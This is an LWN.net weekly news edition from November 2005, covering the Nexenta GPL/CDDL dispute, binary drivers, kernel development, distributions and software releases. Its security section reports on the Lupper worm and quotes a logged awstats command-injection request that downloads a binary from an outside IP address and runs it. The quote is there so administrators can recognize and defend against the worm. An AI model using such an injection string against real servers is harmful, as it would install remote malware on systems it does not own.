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LWN.net Weekly Edition for November 10, 2005Debian and Nexenta collideWhen Sun Microsystems decided to release Solaris under the CDDL license, it did so with the knowledge that this code could not be combined with GPL-licensed code. That incompatibility was pretty much guaranteed to create some interesting conflicts at some time. That time appears to have arrived, thanks to the release of Nexenta, a Debian-based system built on top of the Solaris kernel and runtime libraries. How this conflict is resolved may set the tone for how the GPL and CDDL worlds intersect in the future.The Nexenta developers got off to a bit of a bad start by announcing its existence while putting its entire web site behind a password gate. Once general access was allowed, developers discovered that binaries of their software were being distributed without the associated source. The Nexenta developers responded in a rather unhelpful manner:
Also some stuff not committed yet, beca[u]se we are testing them. In
2-3 months we are hoping to sort out all these "starting" issues
with code browsing, scripts availability, etc.
Anybody who has hung around anywhere near the Debian community for any period of time will know immediately that this sort of answer is unlikely to go over well. Various developers responded with requests to delete the binaries immediately, and some even pondered the use of a DMCA takedown notice. The Nexenta developers appear to have taken the hint, and source availability has improved, though the occasional glitch still comes to light. The hardest issue, however, remains unresolved. The Nexenta project uses, along with the Solaris kernel, a number of user-space libraries (including the core C library) from Solaris. These libraries, being licensed under the CDDL, are not compatible with GPL-licensed applications. But much of Nexenta's user space is GPL licensed, and is linked against Sun's libc. And, in particular, much of the management infrastructure which makes Nexenta a Debian-derived distribution is built this way. Several Debian developers are claiming that distributing GPL-licensed applications linked to a CDDL libc constitutes copyright infringement and should be stopped. The Nexenta developers, instead, justify this distribution by citing the "system software" exemption in section 3 of the GPL:
However, as a special exception, the source code distributed need
not include anything that is normally distributed (in either source
or binary form) with the major components (compiler, kernel, and so
on) of the operating system on which the executable runs, unless
that component itself accompanies the executable.
This exemption has allowed the distribution of, for example, binaries of GPL applications for Solaris for many years. The Debian folks respond that this situation is different: since the libraries and the GPL applications are all part of the Nexenta distribution, the CDDL-licensed libc does, indeed, accompany the executable, and the exemption does not apply. The Nexenta developers do not appear to entirely buy this argument. They have suggested, however, that Nexenta could be split into two pieces: the CDDL-licensed core, and the GPL-licensed applications. Once the core is installed, the applications could be brought in from a repository somewhere. The only problem there is that bringing in those applications requires the use of (GPL-licensed) tools like dpkg, which would thus have to be distributed with the core system. Getting past this little bootstrap issue could be a challenge. Once again, Nexenta has not helped itself here: project developers have suggested that the Debian community might want to help them out by relicensing dpkg under CDDL-compatible terms. Suffice to say that this idea was not received enthusiastically. The idea of rewriting dpkg as a CDDL application has also been raised, though that raises some issues of its own. A more plausible solution to this problem might be to get Sun to relicense its libraries in a GPL-compatible way. Nobody has asked Sun (publicly, at least) whether it would be willing to take this step, but, once again, Sun was certainly aware of the consequences of its licensing decisions when it made them. This situation could also be resolved by porting the GNU C library to the Solaris kernel and shipping it with Nexenta. This is evidently a big task, and the Nexenta developers (who seem to be fairly small in number) are not thrilled about taking it on. The licensing issues are real, and need to be worked out. But many of the people involved in the debate appear to have lost track of the fact that the Nexenta project, while perhaps being occasionally arrogant and ignorant of how Debian does things, is trying to make a contribution to the free software world. It is a free software project. Anthony Towns has been almost the lone voice in calling for a higher degree of cooperation with Nexenta:
I'm amazed at the level of intolerance that's greeting a pretty
major contribution to the free software community. There are, what,
five major OS/kernels for PCs/workstations these days -- Windows,
OS X, Solaris, BSD and Linux. How does it make any sense at all to
be hostile to the fact that now four out of those five are free at
their core?
He also points out that Debian's hands have not always been 100% clean, and that there is more to gain by helping a project like this toward free-software purity than by threatening legal action against it. With luck, the community will hear this message. What Nexenta is doing is very much within the spirit of free software licensing; with patience and help, they should be able to get within the letter of those licenses as well.
On binary drivers and stable interfacesThere has recently been a surge of discussion, once again, on whether the Linux kernel should support closed-source drivers. The debate was driven, perhaps, by the suspicion (later put to rest) that OSDL was supporting the creation of a stable binary driver ABI for Linux. So perhaps the time has come to review the reasons why the kernel developers are opposed to closed-source drivers. Our apologies to all of you who have seen this before.Support for binary-only drivers seems, on the surface, like it could be a good idea. Companies could provide Linux drivers for their hardware without exposing their "valuable intellectual property" to the world. Users would have a higher degree of assurance that their hardware would simply work. All of the current hardware hassles would go away, and everybody would be happy. What could be wrong with that? One obvious problem is that, with a proprietary driver, a Linux system loses one of its best characteristics: independence from vendors. A user of a proprietary driver depends on the vendor for fixes and updates, but the vendor is under no obligation to provide them. Computing hardware has a notoriously short product life; if the vendor drops driver support when a product hits the end of its life, there is little that a user can do. If the vendor goes out of business, there will be no further support for the driver. If the vendor decides to start charging for driver updates, the user has little option but to pull out the wallet. If the driver has a bug which affects the stability of the system, only the vendor can fix it. And history shows that proprietary drivers tend to have plenty of bugs. They are often written by developers with little time and even less expertise with the Linux kernel. The code does not go through any sort of peer review, so obvious problems will persist into the final product. And, since only the vendor can fix the driver, bugs can last for a long time. Binary drivers are brittle. The kernel API can and does change; that aspect of the kernel is not going away. Freezing an API would limit the developers' ability to fix poor interfaces, improve how the kernel works, and remove cruft. So binary drivers will always be likely to break between kernel releases, and users will have to wait for the vendor to get around to catching up with the current API. Linux kernel developers will not help users who have proprietary drivers loaded into their systems. That is not because the developers want to be petty and vengeful (well, perhaps one or two of them do); it is simply that the developers have no way to track down problems when closed-source code is running. Even if a vendor offers top-quality drivers and support, it is unlikely that said vendor supports all of the architectures that run Linux. Freedom to run on something other than i386 is one of the great advantages of Linux; proprietary code takes that freedom away. Finally, proprietary drivers may constitute copyright infringement. Certainly some developers feel that kernel modules are derived products of the kernel itself, and thus required to carry the kernel's (GPL) license. Whether the module interface constitutes a boundary which the GPL cannot cross can only, in the end, be determined by the courts. Until then, every proprietary driver carries with it a degree of legal uncertainty. None of this is new; here's what Linus Torvalds said back in 1999:
Basically, I want people to know that when they use binary-only
modules, it's THEIR problem. I want people to know that in their
bones, and I want it shouted out from the rooftops. I want people
to wake up in a cold sweat every once in a while if they use
binary-only modules.
The alternative to cold sweats is to stick with hardware which comes with free drivers. In most areas, finding such hardware is not a challenge. In the cases where it can be a problem (video adapters, some wireless network cards), the solution is not to weigh down the kernel with some sort of set-in-stone ABI. As Linux continues to grow in popularity - and proprietary drivers get harder to write and maintain - recalcitrant vendors should eventually come around. That's exactly what has tended to happen thus far.
A quick update on subscriber linksAs we noted last week, the "subscriber link" feature is now active on the site. With these links, a subscriber can hand out "get in free" tickets to specific subscriber-only articles. To do so, you need only pull up the article (if you are reading it in the Weekly Edition, click on the "comments" link at the bottom to get there) and use the "send a link" option in the left column.Initially the feature was only made available to "project leader" subscribers. Based on the feedback we have received (and the original plan, in any case), subscriber links are now available to all subscribers. We will continue to think of ways to make added features available to the higher-level subscribers, but this feature did not seem like the right one to use this way. An unanticipated side benefit of this feature has already become clear. By looking at the list of outstanding subscriber links, we can quickly see which of our articles are considered sufficiently interesting to make links for. That is a level of feedback we didn't have before. For the curious, last week's winners were A study on free software in British schools and Sony, rootkits, and the escalation of the DRM war. Finally, we'll note that readers coming in on a subscriber link may now be presented with a tasteful pitch for LWN subscriptions. Happily, our initial plans for a Flash-based, popup ad were abandoned after a few milliseconds worth of thought. Hopefully the use of subscriber links will eventually lead to more subscribers for LWN. Meanwhile, please enjoy the feature, and we thank you for helping us to design it.
Security The Lupper wormSecurity companies and Linux critics worldwide have been happy to proclaim the existence of the "Lupper" worm, the first Linux-based worm to hit the net in years. This worm gets into systems by way of the various PHP XML-RPC vulnerabilities which have been reported (and fixed) over the last year. Infected systems, apparently, become part of a distributed bot net, waiting for somebody to tell them what to do.According to McAfee's Lupper page, there are a couple of signs of infection: processes listening on UDP ports 7111 and 7222, and a /tmp/lupii file. Attempted infections can be seen in the web server logs; they look something like either of following:
GET /awstats/awstats.pl?configdir=|echo;echo YYY; \
cd /tmp;wget 24.224.174.18/listen;chmod +x listen; \
./listen 216.102.212.115;echo YYY;echo|
POST /drupal/xmlrpc.php
(The first line has been broken up, and %-escapes have been replaced for readability). The above lines were taken directly from the LWN.net server log. Thus far, our server has bravely fended off Lupper attacks from all of five different sources. So it looks like the attack of the Lupper worm is unlikely to bring down the net as a whole. In fact, it would be easy to write off this worm altogether. It attacks vulnerabilities which few systems had in the first place. Said vulnerabilities were disclosed - and fixed - months ago. Even Fedora Legacy - which has not produced an update since September 15 - managed to get a fix out for this problem. Any system whose administrator applies security updates will not have been affected by this particular worm. Most administrators need not go into red-alert status over this one. That said, it behooves us to notice that Lupper is, indeed, a Linux worm propagating in the wild. Any of us who feel that, because we are running Linux, we are immune from worms and other such annoyances have just received a gentle warning. Someday, somebody will write a worm which exploits a vulnerability which is widespread and which has not been known for months. Indeed, they might happen upon a hole which has not been disclosed at all. On that day, we may all find ourselves feeling rather less smug.
Brief items Remote vulnerability in clamavFor those of you running clamav on your mail streams: a remote code execution vulnerability has been disclosed in this package. Exploits in the near future would not be a surprising development. Upgrade to version 0.87.1 for the fix, or apply the distributor updates sure to come soon. Click below for the advisory.
New vulnerabilities chmlib: several vulnerabilities
clamav: multiple vulnerabilities
gpsdrive: format string vulnerability
horde3: design error
libungif: memory corruption
php: multiple vulnerabilities
pwdutils: privilege escalation
spamassassin: denial of service
sylpheed: buffer overflow
thttpd: insecure temp file
Updated vulnerabilities a2ps: input validation error
abiword: buffer overflow
apache information disclosure if modssl=yes
httpd: off-by-one overflow and cross-site scripting
awstats: command injection vulnerability
bzip2: race condition and infinite loop
common-lisp-controller: design error
cpio: directory traversal
curl/wget: NTLM username buffer overflow
cyrus-imapd: buffer overflows
dia: missing input sanitizing
elm: buffer overflow
emacs21: format string vulnerability in "movemail"
enigmail: information disclosure
enscript: arbitrary code execution
ethereal: multiple vulnerabilities
evolution: format string issues
fetchmailconf: insecure file creation
firefox: multiple vulnerabilities
Foomatic: Arbitrary command execution in foomatic-rip
gaim: buffer overflow
gallery: privilege escalation
gdb: multiple vulnerabilities
gtk-pixbuf, gtk2: denial of service
gedit: format string vulnerability
gettext: Insecure temporary file handling
glibc: tempfile vulnerability in catchsegv script
gnump3d: cross-site scripting, directory traversal
grip: buffer overflow
groff: insecure temporary directory
gzip: arbitrary command execution
htdig: cross site scripting
imap: buffer overflow in c-client
junkbuster: heap corruption and settings modification
kdebase: local root vulnerability
kdelibs: kate backup file permission leak
kernel: multiple vulnerabilities
koffice: KWord RTF import buffer overflow
krb5: double-free flaw
libconvert-uulib-perl: arbitrary code execution
libdbi-perl: insecure temporary file
libgadu: memory alignment bug
libgd2: buffer overflows in PNG handling
libgda2: format string vulnerabilities
libnet-ssleay-perl: weakened cryptographic operations
libpam-ldap: authentication bypass
libTIFF: buffer overflow
libxml2 - arbitrary code execution
libxml2: multiple buffer overflows
libXpm: new buffer overflows
lm-sensors: insecure temp files
lynx: stack overflow
Mantis: multiple vulnerabilities
mod_python: remote access vulnerability
mysql: buffer overflow
mysql: low-impact security fix
ncpfs: multiple vulnerabilities
nfs-utils: arbitrary code execution
ntp: uses wrong gid
openssh: GSSAPI credential disclosure
openssl: protocol rollback
OpenSSL: denial of service vulnerabilities
openvpn: format string vulnerability
pcre3: arbitrary code execution
perl: setuid vulnerabilities
perl: symlink vulnerability
phpMyAdmin: local file inclusion and XSS
phpsysinfo: cross-site-scripting
postgresql: database initialization errors
Pound: buffer overflow
pstotext: remote execution of arbitrary code
Py2Play: remote execution of arbitrary Python code
rp-pppoe, pppoe: missing privilege dropping
smb4k: temporary file vulnerability
squid: DoS issues
squid: authentication handling
Squirrelmail: preference modification
sudo: missing input sanitizing
sudo: race condition
sysreport: insecure temporary file
File overwrite vulnerability in tar and unzip
tcpdump: multiple DoS issues
texinfo: temporary file vulnerability
TikiWiki: XSS vulnerability
ucd-snmp: denial of service
uim: privilege escalation
unzip: race condition
up-imapproxy: format string vulnerabilities
util-linux: unintentional grant of privileges by umount
uw-imap: buffer overflow
vixie-cron: crontab allows any user to read another users crontabs
w3c-libwww: possible stack overflow
XChat 2.0.x SOCKS5 Vulnerability
xine-lib: buffer overflows
xine-ui - insecure temporary file creation
xloadimage: buffer overflows
xorg-x11: heap overflow
xpdf: buffer overflow
xpdf: denial of service
zlib: buffer overflow
Events LayerOne 2006 CFP ReleasedLayerOne is a security conference held in the Los Angeles, California area. The call for papers is out now, with submissions due by March 31. Click below for the full announcement.
Page editor: Jonathan Corbet Kernel development Brief items Kernel release statusThe current stable 2.6 kernel is 2.6.14.1, released on November 8. This kernel contains a single patch for a sysctl-related oops. There was some unhappiness that the patch for the "zero-length datagrams get dropped" bug, which breaks bind and tcpdump, was not included. That patch will turn up in 2.6.14.2, which should be released around November 12.There is still no 2.6.15 prepatch as of this writing. The merge window for this cycle is about to close, however, so 2.6.15-rc1 may be out by the time you read this. An impressive pile of patches has been merged into the mainline git repository; see the article below for a list of significant additions since last week. The current -mm tree is 2.6.14-mm1. Recent changes to -mm include 64Kb page support for the ppc64 architecture, the swap migration patches, and the lean-and-mean "slob" allocator. The -mm tree has slimmed down considerably as patches have been merged into the mainline. The current 2.4 prepatch is 2.4.32-rc3, released by Marcelo on November 9. This release candidate adds exactly two patches for serious problems; the final 2.4.32 release will likely happen soon.
Kernel development news Quote of the week
When you hear voices in your head that tell you to shoot the pope,
do you do what they say? Same thing goes for customers and
managers. They are the crazy voices in your head, and you need to
set them right, not just blindly do what they ask for.
-- Linus Torvalds
More goodies for 2.6.15Last week's what's going into 2.6.15 article had a long list of changes merged into the mainline. The kernel developers weren't done, however. Here is a list of changes merged since that article was written:
There is also the usual big pile of fixes, and a number of architecture updates.
Shared subtreesThe shared subtrees patch set, written primarily by Ram Pai, has been in circulation for some time, but without a whole lot of discussion. Those patches have now been merged into the pre-2.6.15 mainline, so the time has come for a closer look. In short, shared subtrees allow a system administrator to configure, in great detail, how various filesystem mounts should appear in the tree, how they relate to each other, and how they propagate between namespaces. There are two motivations for this work:
It should be noted that the patches merged into the mainline are not a complete solution for either of the above problems, but they are a step in that direction. The per-user namespaces example will be used in what follows to illustrate how the various subtree options work. Every filesystem in Linux is mounted within a specific namespace. The kernel has long supported the creation of multiple namespaces, but, in most situations, that feature is not used. So the typical Linux system has a single namespace which is shared between all processes on the system. When separate namespaces are used, they are usually in the context of sandboxing and isolation. There would be advantages, however, to making more extensive use of namespaces.
The first step is to create a copy of the root filesystem under each user's subtree directory using bind mounts. The result of such an operation will look like the diagram below. ![[diagram]](/images/ns/kernel/subtrees2.png)
This loss of isolation and explosion of mount points can be avoided through the use of "unbindable" mounts, a new feature added by the sharable subtrees patch. Said mounts cannot be bound into other places, and will not be propagated into new subtrees. So the administrator could execute a series of commands like:
mount --bind /subtree /subtree
mount --make-unbindable /subtree
This incantation turns /subtree into a magic point which cannot be rebound. If, after this has been done, the administrator makes the per-user bind mounts of the root filesystem, the portion under /subtree will be pruned, with a result which looks like this:
![[diagram]](/images/ns/kernel/subtrees3.png)
Now imagine that the system administrator mounts a CDROM under /mnt. The result will look like:
![[diagram]](/images/ns/kernel/subtrees4.png)
Note that the CDROM mount is not visible in the per-user namespaces, so bob and alice will be unable to look at the contents of the CD. That might be the intended result, but imagine it's not, that the administrator wants all users to be able to see things mounted on /mnt. The answer is a "sharable" mount, one which is automatically propagated into every place where the original mount appears. So, the administrator need only perform another new incantation:
mount --bind /mnt /mnt
mount --make-shared /mnt
After this, /mnt is a sharable mount. Any changes made there will
appear in any namespace where /mnt appears. The resulting tree
would look something like this:
![[diagram]](/images/ns/kernel/subtrees5.png)
Many administrators might rather just make the entire filesystem tree sharable, rather than try to anticipate where changes could be made. If the root is made sharable in this way, any new filesystems which are mounted will propagate throughout the tree. This propagation works all ways; if alice mounts the CD within her subtree, it will still appear in all of the subtrees. Of course, this behavior might not always be desirable. If, for example, bob is using FUSE to mount an "ssh filesystem" from a remote host, he would prefer that this filesystem not be visible to other users at all. But bob would still like to see filesystems mounted elsewhere, and does not want to give up the advantages of a shared subtree. The answer is yet another type of mount, called a "slave" mount. Slave mounts are selfish: they remain tied to their parent mount, and receive new mounts from there. Anything mounted underneath the slave mount, however, will not be propagated elsewhere. So each user can have his or her own filesystems which are not part of the global hierarchy:
![[diagram]](/images/ns/kernel/subtrees6.png)
The shared subtrees patch also adds a "private" mount type, which is essentially how mounts in 2.6.14 and prior kernels work. A private mount will not be propagated to any other mounts, but it can (unlike an unbindable mount) be explicitly propagated via a bind operation. Internally, the patches create the concept of a "peer group," among which mount events are propagated. A new mnt_share field (a list of peers) has been added to the vfsmount structure for this purpose. A couple of other lists (mnt_slave_list and mnt_slave) have been added for keeping track of slave mount relationships. A new MNT_UNBINDABLE flag marks unbindable mounts. And, of course, a great deal of locking work has been done to make all of this work in a safe manner. Al Viro has worked with a few iterations of the shared subtrees patch, with the result that it is now considered to be ready for the mainline. The shared subtrees patch is a big step forward: it is a fundamental change to the virtual filesystem layer which greatly increases the flexibility in how namespaces can be populated and presented to users. What remains, at this point, is some work on the namespace side of things. Namespaces are still unnamed objects which can only be inherited from a parent process; there is no easy way to create and attach to a per-user namespace. Finishing the job will take some work, but, chances are, the hardest part of the problem has been solved. For more information, see the extensive documentation file shipped with the patch.
A seq_file API tweakThe seq_file mechanism is a helper for kernel subsystems wanting to create lengthy virtual files, usually in /proc. 2.6.15 will include a small enhancement which may prove helpful for some users.When user space opens a virtual file, the kernel must, in turn, call seq_open() to set things up. On return, the file structure passed to seq_open() will have, in its private_data field, a pointer to the seq_file structure created at open time. That is the same structure which will be passed to the seq_file iterator functions, and which must be used when actually generating output. Traditionally, seq_open() has always allocated the seq_file structure itself. In 2.6.15, however, it will examine the private_data field first, and, if that field is non-NULL, it will assume that the seq_file has already been allocated by the caller. This change allows seq_file users to embed the structure within something larger. It is worth noting, though, that seq_release() still frees the seq_file structure regardless of who created it. Among other things, that implies that, if the caller allocates a seq_file structure within a larger structure, the seq_file structure must appear at the beginning.
More on fragmentation avoidanceLast week's article on fragmentation avoidance concluded with these famous last words:
But there are legitimate reasons for wanting this capability in the
kernel, and the issue is unlikely to go away. Unless somebody comes
up with a better solution, it could be hard to keep Mel's patch out
forever.
One thing which can keep a patch out of the kernel, however, is opposition from Linus, and that is what has happened in this case. His position is that fragmentation avoidance is "totally useless," and he concludes:
Don't do it. We've never done it, and we've been fine.
The right solution, according to Linus, is to create a special memory zone on the (rare) systems which need to be able to free up large, contiguous blocks of memory. Kernel memory allocations would not be allowed in that zone, so it would only contain user-space pages. Those pages are relatively easy to move when the need arises, so most needs would be satisfied. A certain amount of kernel tuning would be required, but that is the price to be paid for running highly-specialized applications. This approach is not pleasing to everybody involved. Andi Kleen noted:
You have two choices if a workload runs out of the kernel
allocatable pages. Either you spill into the reclaimable zone or
you fail the allocation. The first means that the huge pages thing
is unreliable, the second would mean that all the many problems of
limited lowmem would be back.
Others have noted that it can be hard to tune a machine for all workloads, especially on systems with a large number of users. Objections notwithstanding, it begins to look like active fragmentation avoidance is not likely to go into the 2.6 kernel anytime soon.
Patches and updates Kernel trees
Core kernel code
Development tools
Device drivers
Filesystems and block I/O
Janitorial
Memory management
Networking
Architecture-specific
Security-related
Miscellaneous
Page editor: Jonathan Corbet Distributions News and Editorials Gentoo Linux Enhancement Proposal #42Gentoo Linux Enhancement Proposal (GLEP) #42 proposes a new way of informing Gentoo users about important updates and critical news. Although Gentoo already has several methods of informing their users of critical information, it is clear that many users are not getting the message. Instead, the mailing lists and forums get clogged with irate users who have failed updates and broken systems. A second draft of this GLEP proposes a solution that pushes the news items out to the user via the ``rsync`` tree.An ideal solution would make sure that users are told of changes *before* they break the user's system, with no subscription or monitoring required. Notices should be relevant to the user receiving it. If a user gets every notice, including those specific to packages they don't have installed, they are more likely to miss something that they really did need to see. The solution should not require or assume that everyone has an MTA, web browser, email client, cron daemon or text processing suite available on their system and it should not require the user to give up private information. Multiple delivery methods should be supported so that each user has a choice in how to receive the information. Ideally a method for supplying each message in multiple languages would be beneficial, and there should be quality control to insure that the messages are coherent, understandable, concise, and relevant. The proposal favors the use of the Portage tree to disseminate this critical information. On the server side, the news items would reside in the repository under directories named 'yyyy-mm/' to make it easier to find new news. On the client side, an emerge command will copy or symlink the news file into /var/lib/gentoo/news/ and inform the user. The proposal is still under discussion and some details of its implementation have not been addressed. Still this proposal makes a good start at solving some very real communications problems.
New Releases FreeBSD Project Launches FreeBSD 6.0The FreeBSD Foundation has announced the availability of FreeBSD 6.0. "One of the new features in FreeBSD 6.0 is a multithreaded file system, which greatly improves data access times for local disks, RAID configurations, network file systems, and SANs. Recent performance benchmarks show that FreeBSD 6.0 outperforms Linux in raw data throughput. Additionally, FreeBSD 6.0 extends support for wireless devices such as Intel Centrino and adds supports for the popular new WPA wireless security protocol." So much for the hyped up press release. This release announcement provides more useful information with less hype.
NetBSD 2.1The NetBSD Project has announced the release of NetBSD 2.1. "NetBSD 2.1 is the first maintenance release of the netbsd-2 release branch. This release provides numerous functional enhancements, including support for many new devices, hundreds of bug fixes, patches and updates to kernel subsystems, and many enhancements to the user environment. In addition, all of the security fixes and critical bug fixes from the NetBSD 2.0.3 update are included as well."
Distribution News Fedora Core 5 test1 delayedThe Fedora schedule has slipped a couple of weeks. The major change created by modular X is the primary reason for the slip. (Click below for more on that.) The current schedule shows the Fedora Core 5 test 1 development freeze set for November 14, 2005, with a release of test 1 set for November 21.
DebConf6A Hot and Spicy DebConf6 has been scheduled for May 14 - 22, 2006, in Oaxtepec, Mexico. The conference is free for anyone who wants to attend. There are sponsorships available for those who need some financial assistance. The call for papers and presentations is open now. The deadline for proposals is December 6, 2005, 23h59 UTC.
Bits from the Debian armeb portLennert Buytenhek reports that the armeb port is nearing a Sarge release. "For most packages, the vanilla debian sources are used. Some packages need patching for armeb, in which case we put the patched sources in a different component while we submit patches to the bug tracking system and wait for those to be merged. The armeb support patches for a number of packages have been merged already, and more will hopefully follow soon."
Ubuntu Below ZeroScott James Remnant has posted some of the specifications that were approved at UBZ. This In post looks at Ubuntu Express issues, LVM, media checks, booting from USB, automatic network detection and configuration, video playback, faster GNOME startup, Kubuntu 6.04 roadmap, and more.A partitioning tool for Ubuntu Express leads the second post, along with Live CD performance improvements, Unionfs support in the live CD, support for OpenLDAP and Active Directory, hiding admin tools from non-sudoers, audio improvements, Rhythmbox iPod integration, and best bug handling practices.
Oldenburg DevJam meetingThe Oldenburg DevJam hosted a Debian Java Meeting, held in Oldenburg, Germany last September. Here's a report from that meeting. "At DevJam several Java people from different distributions meet for the first time. This way there was the possibility to talk about how the different distributions currently handle java packages. Furthermore there are several discussions how the distributions can join efforts in their task of maintaining java packages."
New Distributions ArudiusArudius is a live CD Linux distribution based on Minislack and Linux Live scripts. It contains an extensive set of software tools used by IT security professionals for penetration testing and vulnerability analysis. Its goal is to include the most complete set of useful security tools and still maintain a small footprint. Version 0.1 was released November 4, 2005.
Distribution Newsletters Debian Weekly NewsThe Debian Weekly News for November 8, 2005 covers problems (and solutions) for KDE packages in testing, is Debian participating in the GPLv3 process?, a Linux-Info-Tag Dresden event report, the Debian GNU/kFreeBSD Live CD, how to create SSL certificates on Debian, Debconf6 call for papers, Debian at Systems Exhibition, and several other topics.
Fedora Weekly News Issue 21This week's edition of the Fedora Weekly News covers a Vote against software patents in an Internet poll, the Livna Repo Availability Issue, a Using Rawhide and Fedora Testing Guide, Kennards shifts 400 desktops to Linux (Fedora), Fedora Extras Steering Committee Meeting and more.
Gentoo Weekly NewsletterThe Gentoo Weekly Newsletter for the week of November 7, 2005 looks at how GLEP aims to manage important update information, an interview with Jacob Lindberg at Brenntag Nordic, GeCHI conference in Italy, and much more.
DistroWatch WeeklyThe DistroWatch Weekly for November 7, 2005 is out. "As expected, the three main BSD releases stole the limelight of most open source news sites last week, with especially FreeBSD 6.0 looking like a truly excellent product. We will take a closer look at some of the issues discussed on the FreeBSD mailing lists shortly after the release and share our experiences with upgrading the DistroWatch server. Also in this issue: a comment on the events of the past week affecting SUSE Linux and Kubuntu, and a link to an interesting sub-project by Linux From Scratch - for the fans of cross-compiling. Our featured distribution of the week is the OpenSolaris-based BeleniX live CD, while the amaroK project is the one that gets our US$300 October 2005 donation."
Package updates Fedora updatesFedora Core 4 updates: eclipse (Eclipse 3.1.1 natively-compiled for FC4), eclipse-cdt (build 3.0.0 for FC4), x86info (update to 1.17), wireless-tools (update to wireless-tools 28pre10), NetworkManager (rebuild for FC4), tar (bug fix), openldap (merge changes from rawhide and upgrade to 2.2.29), lm_sensors (fixed pwmconfig patch), kudzu (backport corrected kernel version handling), hwdata (add migration for mptfusion), hwdata (fix typo in PCMCIA config file), audit (enhancements).Fedora Core 3 updates: evolution (bug fix), lm_sensors (fixed pwmconfig patch), glibc (update to glibc 2.3.6 release).
Mandriva updateMandriva update MDKA-2005:049 provides updated mandriva-release packages with a fixed CREDITS file. Click below for the complete advisory.
Slackware updatesSlackware Linux received several security and bug fixes this week. Security fixes are available for several versions Slackware and the advisories can be found on this week's Security page. Details can always be found in the slackware-current changelog.
Distribution reviews OpenLab: The other African distribution (LinuxOnline)Linux Online reviews OpenLab 4. "Some articles I had read about OpenLab mentioned that it would run fairly well on older hardware, so I trotted out my trusty old AMD K6 II and gave it a try. When you plunk the CD in the drive and boot, start up is really fast, so it would seem it doesn't disagree with my aging hardware. Also, I have often had problems with other distributions with this machine. It has something to do with the video card and frame buffer problems, but with OpenLab, I didn't have any problems. What I did miss, at this point, was the possibility to get support for my Spanish keyboard layout. Typing 'lang=es' at the boot prompt usually does the trick, but this did nothing here. Actually, this is no big deal, since OpenLab boots into KDE and you can change this very easily by just clicking on the US flag in the taskbar."
Introducing GoboLinux 012 (NewsForge)Linux.com looks at GoboLinux 012. "Contrary to most Linux distributions, GoboLinux chooses not to follow the Free Standards Group's Filesystem Hierarchy Standard. Gobo's authors thought the traditional Unix directory tree was unsuitable for a modern desktop Linux distribution and decided to take the path that another desktop-oriented operating systems has been following for years -- namely, Mac OS X."
Page editor: Rebecca Sobol Development A Look at the Apache 2.1 Web ServerThe Apache web server is one of the largest and most important open-source projects in use today. It is the most commonly used web server on the internet, and has been around since 1995. The project history document provides some useful background information. Apache is such a large project that it requires a glossary to keep track of the terminology used by the project.
Development version 2.1.9-beta of Apache was announced on November 6, 2005. The main Apache web site summarizes the release: "This version of Apache is a Beta release of the unstable development branch. New features include Smart Filtering, Improved Caching, AJP Proxy, Proxy Load Balancing, Graceful Shutdown support, Large File Support, the Event MPM, and refactored Authentication/Authorization." The new features in Apache 2.2 document lists the changes in detail, here's a quick rundown of what's new:
The Upgrading to 2.1 from 2.0 document is worth a quick read before upgrading. All current versions of Apache are available for download here.
System Applications Database Software PostgreSQL 8.1 ReleasedPostgreSQL 8.1 is out. This release includes database roles, two-phase commit support, and an impressive set of performance improvements; click below for the full announcement.
Mogwai ERDesigner 0.9.5 released (SourceForge)Version 0.9.5 of Mogwai ERDesigner is available. "ERDesigner is a free entity releationship modelling tool supporting MySQL, PostgreSQL and Oracle. There are also several plugins available for model documentation, source code generation for JPOX and Hibernate for your models. Also the tools supports database schema versioning. The 0.9.5 release includes some bug - fixes and also enhancements to the reverse engineering plugin and code generation module."
PostgreSQL Weekly NewsThe November 6, 2005 edition of the PostgreSQL Weekly News is online with the latest PostgreSQL database information.
SchemaSpy 2.0.0 released (SourceForge)Version 2.0.0 of SchemaSpy is out with a number of new capabilities. "SchemaSpy analyzes schema metadata, letting you click through the hierarchy of your tables' parent/child relationships either graphically or through HTML tables. It works with just about any RDBMS given an appropriate JDBC driver. SchemaSpy also identifies several common schema anomalies."
Embedded Systems Busybox 1.1.0-pre1 releasedVersion 1.1.0-pre1 of Busybox, a condensed collection of command line tools for embedded systems, is out. "This prerelease includes a lot of new functionality: new applets, new features, and extensive rewrites of several existing applets. This prerelease should be noticeably more standards compliant than earlier versions of busybox, although we're still working out the bugs."
Networking Tools iptables 1.3.4 releasedVersion 1.3.4 of the iptables network filtering software has been released. "The 1.3.4 version contains accumulated bugfixes to the last 1.3.3 version. It also fixes some compilation problems with the latest (2.6.14) kernel release."
Package Management Red Hat RPM Guide releasedRed Hat has released a new, extensive guide to the RPM package manager under the Open Publication License. It probably belongs in the bookmarks of anybody who manages an RPM-based system.
Security TrueCrypt 4.0 Released (SourceForge)Version 4.0 of TrueCrypt, a cross-platform disk encryption system, is available. "Among the new features is the ability to mount TrueCrypt volumes on Linux (TrueCrypt has been ported to Linux), ability to write to outer volume without risking that a hidden volume within it will get damaged, support for x86-64 (64-bit) and big-endian hardware platforms, support for Windows XP x64 Edition (64-bit) and Windows Server 2003 x64, full support for keyfiles, language packs, network drives, auto-dismount, hot keys, and many more."
Web Site Development MKSearch beta 1, done with GCJThe first beta release of MKSearch has been announced. "MKSearch is a metadata search engine that indexes structured metadata in Web documents, not free text in the document body."
mnoGoSearch 3.2.35 releasedVersion 3.2.35 of mnoGoSearch, a web site search engine, is available. See the change history document for details.
Wicket 1.1 released (SourceForge)Version 1.1 of Wicket, a Java component oriented web application framework, has been announced. A large collection of new features has been added.
Xaraya 1.0 is here! (SourceForge)Version 1.0 of Xaraya, a PHP-based web application framework, has been announced. "This release marks the end of the road to 1.0 and presents a secure and stable platform on which to build into the future. Many smaller fixes to the code are included and some template inconsistencies have been removed."
Google Sitemaps (O'Reilly)Uche Ogbuji explores Google Sitemaps on O'Reilly. "I wrote the Python-XML column for three years, discussing the combination of an agile programming language with an agile data format. It's time to pull the lens back a bit to take in other such technologies. This new column, "Agile Web," will cover the intersection of dynamic programming languages and web technologies, particularly the sorts of dynamic developments on the web for which some use the moniker, "Web 2.0.""
Miscellaneous Eddie 0.35 has been releasedVersion 0.35 of the EDDIE Tool, a Pyhon-based tool for system monitoring, security and performance analysis, is available. "This version has been a long time coming but check out all the added features, including support for two new platforms."
Desktop Applications Audio Applications LDAS 0.1.0 ReleasedThe initial release (version 0.1.0) of LDAS, the Low Delay Audio Streamer, is available. "At this point, the basic functionality is present -- LDAS is capable of transmitting full duplex two-channel audio between two computers. This has been tested using the ldas_mate binary running on two computers equipped with SoundBlaster Live sound cards."
